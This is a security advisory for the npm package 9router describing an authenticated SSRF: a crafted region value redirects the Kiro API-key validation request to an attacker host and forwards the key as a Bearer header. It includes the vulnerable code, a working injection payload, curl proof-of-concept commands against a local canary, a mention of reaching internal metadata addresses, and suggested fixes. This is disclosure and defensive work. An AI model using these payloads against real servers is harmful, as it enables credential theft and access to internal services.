---
id: CVE-2026-56678
aliases:
  - GHSA-6mwv-4mrm-5p3m
title: >-
  9router: Kiro region injection allows authenticated SSRF with Authorization
  header forwarding
summary: >-
  9router: Kiro region injection allows authenticated SSRF with Authorization
  header forwarding
severity: medium
cvss: 6.4
cwe:
  - CWE-20
  - CWE-918
vendor: 9router
product: 9router
ecosystem: npm
affected:
  - 9router <= 0.5.2
patched:
  - 9router 0.5.6
published: '2026-09-23'
updated: '2026-09-23'
sourceUpdated: '2026-09-23T18:12:32Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-6mwv-4mrm-5p3m'
references:
  - url: 'https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-56678'
  - url: >-
      https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f
  - url: 'https://github.com/decolua/9router/releases/tag/v0.5.6'
  - url: 'https://github.com/advisories/GHSA-6mwv-4mrm-5p3m'
tags:
  - ghsa
  - npm
epss: 0.00294
epssPercentile: 0.19655
ingestedAt: '2026-09-23T18:29:33.151Z'
---

## Overview

### Summary

The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The
request forwards the submitted Kiro API key as an `Authorization: Bearer` header.

### Details

- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.
- **Endpoint:** `POST /api/oauth/kiro/api-key`.
- **Correct runtime payload:** `region: "kiro-canary.local:8443#"`.
- Do **not** use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is
  blocked by Node/undici `fetch()` because it creates URL credentials
  (`"Request cannot be constructed from a URL that includes credentials"`).
- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`
  (the `#` turns the trailing `.amazonaws.com` into a URL fragment).
- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.
- TLS verification was **not** globally disabled; the reproduction uses a local CA via
  `NODE_EXTRA_CA_CERTS`.
- The no-auth control returns 401, so this standalone issue is **authenticated**.
- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do
  **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is
  chained.

**Root cause.** The route reads `region` straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:

```js
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
  return NextResponse.json({ error: error.message }, { status: 500 });   // reflects upstream body
}
```

```js
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`;        // region interpolated
const response = await fetch(endpoint, {
  method: "POST",
  headers: {
    "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
    "Authorization": `Bearer ${accessToken}`,                            // credential forwarded
    ...
  },
  body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
  const error = await response.text();
  throw new Error(`Failed to list profiles: ${error}`);                  // upstream body -> error.message
}
```

There is no allowlist on `region`, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves
to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.

### PoC

Start the package:

```bash
docker compose up --build
```

The endpoint is authenticated, so first obtain a dashboard session using the password
configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:

```bash
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"password":"repro-dashboard-pass"}'
```

Then send the region-injection request with that session cookie:

```bash
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
```

Expected:

- 9router returns a 500 whose body contains a controlled canary marker, indicating the
  validation request reached the canary and its response was reflected.
- `docker compose logs kiro-canary` shows a request with:
  - `Host: codewhisperer.kiro-canary.local:8443`
  - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`

No-auth control (no session cookie):

```bash
curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
  -H "Content-Type: application/json" \
  -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
```

Expected: 401 Unauthorized.

Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is
never contacted.

### Impact

An authenticated attacker can make the server send a Kiro validation request to an
attacker-controlled host and forward the submitted Kiro API key in the Authorization
header. This can be used for SSRF and credential forwarding during Kiro API-key
validation. The issue is authenticated as a standalone bug.

### Screenshots

The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.

#### 1. Safe-region control — normal Kiro validation path

<img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" />

>**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**

#### 2. Region-injection SSRF trigger — canary marker reflected

<img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" />

>**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**

#### 3. HTTPS canary evidence — Authorization header forwarded

<img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" />

>**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**

#### 4. No-auth control — endpoint requires authentication

<img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" />

>**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**

### Suggested Fix

- Validate `region` against a strict allowlist of known Kiro/AWS regions
  (e.g. `^[a-z]{2}-[a-z]+-\d$`).
- Construct upstream endpoints only from fixed enum values.
- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or
  hostname separators.
- After URL construction, validate that the final hostname exactly matches the expected
  AWS/Kiro hostname pattern.
- Do not forward Authorization headers to hosts derived from untrusted input, and stop
  reflecting upstream response bodies in `error.message`.

## Affected packages

- `9router <= 0.5.2`

## Remediation

Upgrade to a patched release:

- `9router 0.5.6`
